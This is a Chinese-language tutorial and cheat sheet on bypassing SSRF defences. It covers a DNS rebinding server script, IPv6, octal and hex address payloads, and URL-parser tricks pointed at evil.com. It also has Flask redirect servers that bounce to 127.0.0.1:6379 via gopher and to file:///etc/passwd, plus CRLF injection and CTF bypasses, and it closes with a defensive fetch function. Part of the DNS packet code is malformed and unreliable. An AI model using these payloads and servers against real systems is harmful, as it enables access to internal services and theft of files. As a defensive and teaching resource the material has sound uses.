一、为什么需要绕过

典型的 SSRF 防护:

# 朴素 SSRF 防护
def safe_fetch(url):
    parsed = urlparse(url)
    # 1. 协议白名单
    if parsed.scheme not in ('http', 'https'):
        raise Forbidden('bad scheme')
    # 2. IP 黑名单
    ip = socket.gethostbyname(parsed.hostname)
    if ip.startswith(('127.', '10.', '192.168.', '169.254.')):
        raise Forbidden('private ip')
    return requests.get(url)

这种防护几乎能被绕过。原因有三:

  1. "解析-检查-请求"三步不是原子的 —— DNS Rebinding
  2. "检查方"和"请求方"可能是两套不同的 HTTP 解析器 —— URL 解析差异
  3. URL 可以用多种编码表达同一地址 —— 各种花式编码

二、DNS Rebinding 绕过

2.1 原理

Step 1: 攻击者的域名 evil.com 第一次解析到 1.2.3.4(攻击者自己的服务器) Step 2: 服务器请求 evil.com,解析结果是 1.2.3.4,IP 检查通过(不是内网) Step 3: 同时攻击者把 evil.com 的 DNS TTL 改成 0,解析改回 127.0.0.1 Step 4: 服务器再次解析 evil.com → 127.0.0.1 → 攻击目标

核心矛盾:DNS 解析结果在检查阶段和实际请求阶段不一致

2.2 实现:Python 自定义 DNS

# dns_rebinding_server.py - 简易 DNS Rebinding 服务
import socket
import struct
import random
from http.server import BaseHTTPRequestHandler, HTTPServer

# 攻击者控制的 IP:第一次返回这个,第二次返回目标 IP
OUTSIDE_IP = '203.0.113.100'    # 第一次返回(公网)
INNER_IP   = '127.0.0.1'        # 第二次返回(内网)

# 切换计数器:第一次请求走外面,第二次走里面
flip_counter = {'evil.com': 0}

class DNSHandler(socket.socket):
    def __init__(self):
        super().__init__(socket.AF_INET, socket.SOCK_DGRAM)
        self.bind(('0.0.0.0', 53))

    def handle(self, data, addr):
        # 解析 DNS Query
        tid = data[:2]
        qtype = data[12:14]
        qname = data[12:]

        # 提取域名
        labels = []
        i = 0
        while True:
            n = qname[i]
            if n == 0: break
            labels.append(qname[i+1:i+1+n].decode())
            i += n + 1
        domain = '.'.join(labels)

        # 决定返回哪个 IP
        flip_counter[domain] = flip_counter.get(domain, 0) + 1
        answer_ip = OUTSIDE_IP if flip_counter[domain] % 2 else INNER_IP

        print(f"[DNS] {domain} -> {answer_ip} (counter={flip_counter[domain]})")

        # 构造 DNS Response
        answer = socket.inet_aton(answer_ip)
        response = (
            tid +
            struct.pack('>HHHH', 0x8180, 1, 1, 0) +  # flags, qdcount, ancount
            qname + b'' + qtype + b'' +  # question
            qname + b'' + qtype + b'' +  # answer
            struct.pack('>I', 1) +                    # TTL 1秒
            struct.pack('>H', 4) +                    # RDLENGTH
            answer
        )
        self.sendto(response, addr)

if __name__ == '__main__':
    dns = DNSHandler()
    print("[*] DNS server listening on 0.0.0.0:53")
    while True:
        data, addr = dns.recvfrom(512)
        try:
            dns.handle(data, addr)
        except Exception as e:
            print(f"error: {e}")

2.3 实战绕过流程

``
攻击者域名:evil.com(NS 指向自己的 DNS 服务器)

[1] 第一次请求:检查阶段
服务器解析 evil.com -> 203.0.113.100 -> IP 白名单通过

[2] 服务器向 evil.com 发起 HTTP 请求(同时)
DNS 已切换 → evil.com 现在解析到 127.0.0.1

[3] 攻击者服务器不响应(或等服务器超时重试)
服务器重试 evil.com → 127.0.0.1

[4] 成功访问内网
``

2.4 绕过 DNS Rebinding 的正确姿势

import socket

def safe_fetch_norebind(url):
    parsed = urlparse(url)
    host = parsed.hostname

    # 关键:同一个 socket 对象做 DNS 缓存,
    # 或者解析一次后直接用 IP 发起请求
    ips = socket.getaddrinfo(host, None)
    checked_ip = ips[0][4][0]

    if is_private_ip(checked_ip):
        raise Forbidden('blocked')

    # 重新构造请求:强制用解析到的 IP,绕过 DNS Rebinding
    # 用 Host 头保持原域名(某些站点需要)
    new_url = parsed._replace(netloc=f"[{checked_ip}]" if ':' in checked_ip else checked_ip).geturl()
    headers = {'Host': host}
    return requests.get(new_url, headers=headers, allow_redirects=False)

关键点:解析到 IP 之后,直接用 IP 发请求,不再用原域名,彻底封死 DNS Rebinding。

三、IPv6 绕过

3.1 原理

很多 SSRF 防护只检查 IPv4 内网段(10/8、172.16/12、192.168/16),但不检查 IPv6。而现代服务器基本都开启了 IPv6 环回 ::1 和链路本地地址 fe80::。

3.2 IPv6 内网段

地址段 用途 常见绕过
::1 IPv6 环回 [::1]/admin
fc00::/7 唯一本地地址(ULA) 类似 10/8
fe80::/10 链路本地 类似 169.254
0000::/8 IPv4 映射 [::ffff:127.0.0.1]

3.3 绕过示例

# 防护只检查 IPv4
def blocked_by_ipv4_only_check(ip):
    for net in ['10.', '172.16.', '192.168.', '127.', '169.254.']:
        if ip.startswith(net):
            return True
    return False

# 攻击:用 IPv6 环回
bypasses = [
    'http://[::1]/admin',
    'http://[0:0:0:0:0:0:0:1]/admin',
    'http://[0000::1]/admin',
    'http://[::ffff:127.0.0.1]/admin',    # IPv4 映射
    'http://[::ffff:0x7f000001]/admin',   # 0x 写法
    'http://[fe80::1]/admin',             # 链路本地
]

3.4 用 Python 验证 IPv6 绕过

import ipaddress

def is_private(ip_str):
    try:
        ip = ipaddress.ip_address(ip_str)
    except ValueError:
        return True

    private_nets = [
        # IPv4
        '0.0.0.0/8', '10.0.0.0/8', '100.64.0.0/10',
        '127.0.0.0/8', '169.254.0.0/16', '172.16.0.0/12',
        '192.0.0.0/24', '192.168.0.0/16', '198.18.0.0/15',
        '203.0.113.0/24', '224.0.0.0/4', '240.0.0.0/4',
        # IPv6
        '::1/128',
        'fc00::/7',
        'fe80::/10',
        '::ffff:0:0/96',    # IPv4 mapped
        '::/128',
    ]
    return any(ip in ipaddress.ip_network(n) for n in private_nets)

# 测试
for test_ip in ['127.0.0.1', '::1', '10.0.0.1', 'fc00::1', '8.8.8.8', '::ffff:127.0.0.1']:
    print(f"{test_ip:20s} -> private={is_private(test_ip)}")

四、URL 解析差异

4.1 为什么会有差异

检查方请求方用的不是同一个 URL 解析器:

检查方 请求方 差异
Python urllib cURL # fragment 处理
Node.js URL 浏览器 URL @ userinfo 解析
过滤 WAF(正则) PHP curl 反斜杠、分号
Golang net/url Java URL 编码处理

4.2 经典差异一览

``
URL: http://127.0.0.1 &@evil.com#@inner.com/

Python urllib: host = 127.0.0.1
cURL/Chrome: host = evil.com (把 @ 之前的内容当作 userinfo)

→ WAF 检查放行,实际请求打到 evil.com(DNS Rebinding 目标可以放这里)
``

4.3 常见 Payload 清单

# url_diff_payloads.py
# 检查方 Python urllib,请求方 curl/PHP

PAYLOADS = [
    # 1. @ userinfo 绕过
    "http://127.0.0.1 &@evil.com",
    "http://127.0.0.1 @evil.com",
    "http://127.0.0.1#@evil.com",
    "http://127.0.0.1@@evil.com",

    # 2. URL 编码绕过(WAF 不二次解码)
    "http://%31%32%37%2e%30%2e%30%2e%31/",
    "http://0x7f000001/",              # hex
    "http://2130706433/",              # decimal
    "http://0177.0.0.1/",              # octal

    # 3. 反斜杠(某些库把  当作 /)
    "http://127.0.0.1\@evil.com",

    # 4. 混合编码
    "http://127.0.0.1%2540evil.com",   # %2540 -> %40 -> @
]

4.4 Node.js vs Python 差异实测

# Python 侧:简单正则检查 host
import re, urllib.parse

def python_check(url):
    parsed = urllib.parse.urlparse(url)
    print(f"  Python urllib: netloc={parsed.netloc}, hostname={parsed.hostname}")
    if re.match(r'^(127.|10.|192.168.)', parsed.hostname or ''):
        print(f"  -> Python check BLOCKED")
        return False
    print(f"  -> Python check PASSED")
    return True

# Node.js 侧请求:真实 host 是 @ 后面的
# node_url.js:
# const u = new URL("http://127.0.0.1 &@evil.com");
# console.log(u.hostname); // evil.com

test_url = "http://127.0.0.1 &@evil.com"
python_check(test_url)
# Node.js 实际请求的 host 是 evil.com!

4.5 分号绕过(PHP/Apache)

``
http://internal-host:8080/plain;text=http://127.0.0.1:6379/PING

Apache/PHP 认为 path 到分号为止,后面是 path-info

但某些代理/Nginx 按 ? 或 / 分割

``

五、编码混淆

5.1 IP 四种表示

# ip_formats.py
import ipaddress
import socket

def ip_to_formats(ip_str):
    ip = ipaddress.ip_address(ip_str)
    ipv4_int = int(ip)
    return {
        'dotted_decimal': str(ip),              # 127.0.0.1
        'hex':            '0x' + format(ipv4_int, '08x'),  # 0x7f000001
        'decimal':        str(ipv4_int),        # 2130706433
        'octal':          '.'.join(oct(int(p))[2:] for p in str(ip).split('.')),  # 0177.0.0.1
        'ipv6_mapped':    '::ffff:' + str(ip),  # ::ffff:127.0.0.1
    }

for k, v in ip_to_formats('127.0.0.1').items():
    print(f"  {k:20s} -> http://{v}/")

# 反向解析
print(f"  reverse resolve 0x7f000001 -> {socket.gethostbyname('0x7f000001')}")
print(f"  reverse resolve 2130706433  -> {socket.gethostbyname('2130706433')}")

5.2 DNS 重绑定 + 短链

# 通过短链服务把 Rebinding 域名藏起来
# 攻击者流程:
# 1. 在自己的 Rebinding 服务器上注册 evil.com
# 2. 用 bit.ly / 自己的短链服务生成短链
# 3. 把短链丢给 SSRF
# 4. 服务器先访问短链 -> 302 到 evil.com
# 5. Rebinding 切换成功 -> 短链背后实际请求内网

# 自己搭建简易 Rebinding + 短链
from flask import Flask, redirect, request
app = Flask(__name__)

@app.route('/s/<sid>')
def short(sid):
    # 短链 -> 302 到 Rebinding 域名
    return redirect("http://evil.com/", code=302)

@app.route('/')
def home():
    # 对 evil.com 的解析由攻击者的 DNS 控制
    return "OK"

六、HTTP 302 重定向链

6.1 原理

很多 SSRF 防护只检查用户最初传入的 URL,不检查 302 之后的跳转目标。这就可以通过链跳转到内网。

6.2 攻击者中转服务器

# redirect_server.py
from flask import Flask, redirect, request, Response

app = Flask(__name__)

@app.route('/')
def index():
    return "redirect server"

@app.route('/step1')
def step1():
    # 第一次 302 -> 目标(看起来是外网)
    return redirect("http://attacker.com/step2", code=302)

@app.route('/step2')
def step2():
    # 第二次 302 -> 内网
    return redirect("http://127.0.0.1:6379/", code=302)

@app.route('/gopher')
def to_gopher():
    # HTTP -> gopher
    return redirect("gopher://127.0.0.1:6379/_PING", code=302)

@app.route('/file')
def to_file():
    # HTTP -> file
    return redirect("file:///etc/passwd", code=302)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

6.3 防护绕过能力矩阵

SSRF 实现 跟随重定向 能跳转到内网 能跳转到 file://
requests (Python) 默认是
curl -L 新版拒绝
Java HttpURLConnection 默认是
Go net/http 默认是
PHP curl 默认是
Node.js http 默认是 视实现 视实现

6.4 CRLF 注入伪造 302

某些场景 WAF 对 URL 做了严格过滤,但允许 URL 中包含 CRLF。可以直接在 URL 里手动注入 302 响应

http://evil.com/%0d%0aLocation:%20http://127.0.0.1/%0d%0a%0d%0a

如果目标服务器没有严格处理这个 CRLF,就会直接把 Location: 127.0.0.1 当作响应头返回,然后客户端跟随跳转。

七、缩略图/图片代理的天然绕过

很多网站用外部服务做图片转存:

``

攻击者上传 -> 缩略图服务 -> 下载图片 -> 上传到自己服务器

问题:缩略图服务是"攻击者的外跳板"

-> 攻击者控制的图片

-> 图片里可以是 SVG(可执行)

-> 或者是 SSRF payload 触发 Rebinding

``

7.1 SVG SSRF

``xml

``

八、IPv6 + 编码组合拳

8.1 多维度混淆

# combined_bypass.py - 组合绕过
def double_encoded(ip_v4):
    """双重 URL 编码"""
    import urllib.parse
    encoded = urllib.parse.quote(ip_v4, safe='')
    return urllib.parse.quote(encoded, safe='')

def ipv4_mapped_ipv6(ip_v4):
    """IPv6 映射"""
    return f"::ffff:{ip_v4}"

def mixed_octal(ip_v4):
    """混合八进制"""
    parts = ip_v4.split('.')
    return '.'.join(oct(int(p)) for p in parts)

# 构造一条"绕死 WAF"的 URL
targets = [
    "http://[::ffff:127.0.0.1]:6379/",
    "http://0177.0.0.1/admin",
    "http://0x7f000001/admin",
    "http://2130706433/admin",
    f"http://{ipv4_mapped_ipv6('127.0.0.1')}/admin",
]

for t in targets:
    print(f"  try: {t}")

8.2 CTF 经典绕过

``

某靶场:只允许域名内包含 "hack"

解法:URL 解析差异让 WAF 看见 hack,实际打到内网

http://hack.com@evil.com@127.0.0.1/

WAF 看见 hack.com → 通过

实际请求 host = 127.0.0.1

``

九、防御最佳实践

9.1 安全的 SSRF 实现

# safe_ssrf.py - 真正安全的 SSRF(如果一定要做的话)
import socket
import ipaddress
import requests
from urllib.parse import urlparse

BLOCKED_NETWORKS = [
    '0.0.0.0/8', '10.0.0.0/8', '100.64.0.0/10',
    '127.0.0.0/8', '169.254.0.0/16', '172.16.0.0/12',
    '192.0.0.0/24', '192.168.0.0/16', '198.18.0.0/15',
    '203.0.113.0/24', '224.0.0.0/4', '240.0.0.0/4',
    '::1/128', 'fc00::/7', 'fe80::/10',
    '::ffff:0:0/96',
]

def _blocked(ip):
    return any(ipaddress.ip_address(ip) in ipaddress.ip_network(n) for n in BLOCKED_NETWORKS)

def safe_fetch(url, timeout=5):
    parsed = urlparse(url)

    # 协议白名单
    if parsed.scheme not in ('http', 'https'):
        raise ValueError(f"blocked scheme: {parsed.scheme}")

    host = parsed.hostname
    if not host:
        raise ValueError("missing host")

    # 解析所有 IP(包括 IPv6),全部检查一遍
    # 关键:用同一个 DNS socket,防止 Rebinding
    infos = socket.getaddrinfo(host, parsed.port or (443 if parsed.scheme == 'https' else 80))
    for info in infos:
        ip = info[4][0]
        if _blocked(ip):
            raise ValueError(f"blocked ip: {ip}")

    # 关键:**直接用解析到的 IP 发请求**,不再用原域名
    # 这样 DNS Rebinding 失效(我们已经拿到 IP 了)
    # 同时用 Host 头保持原始域名(某些服务需要)
    checked_ip = infos[0][4][0]
    new_netloc = f"[{checked_ip}]" if ':' in checked_ip else checked_ip
    safe_url = parsed._replace(netloc=new_netloc).geturl()

    headers = {'Host': host}
    resp = requests.get(
        safe_url,
        headers=headers,
        timeout=timeout,
        allow_redirects=False,
        proxies={'http': None, 'https': None},  # 不走代理(防内部代理泄露)
    )
    return resp

9.2 额外加固

  • 禁用跟随重定向(allow_redirects=False)
  • 禁用内部代理(requests 默认会走 HTTP_PROXY 环境变量)
  • 限制响应体大小(max_content_length)
  • 限制连接超时(防止 SSRF 做端口扫描计时)
  • 所有请求走专用代理出口(审计 + 过滤)
  • CDN/反代层记录所有外发请求 URL

十、小结:SSRF 绕过速查表

绕过类型 核心方法 适用场景
DNS Rebinding evil.com 两次解析到不同 IP 任意 SSRF,防护只看 host 名
IPv6 绕过 [::1] / [::ffff:127.0.0.1] 防护只检查 IPv4
URL 解析差异 http://127.0.0.1 &@evil.com 检查方与请求方解析器不一致
编码混淆 hex/decimal/octal/双重 URL 编码 WAF 正则过滤 IP
302 重定向链 攻击者服务器做跳转中转 防护只检查原始 URL
CRLF 注入 URL 中注入 %0d%0aLocation:... 防护不严的代理
短链中转 用 bit.ly 隐藏 Rebinding 域名 WAF 检查域名关键字
缩略图代理 通过图片转存服务做跳板 有图片上传 + SSRF 联动
反向代理 目标是内网 HTTP 服务,让它再请求 SSRF 源 两次 SSRF 组合
分号绕过 http://target:port/path;args Nginx/Apache 路径解析差异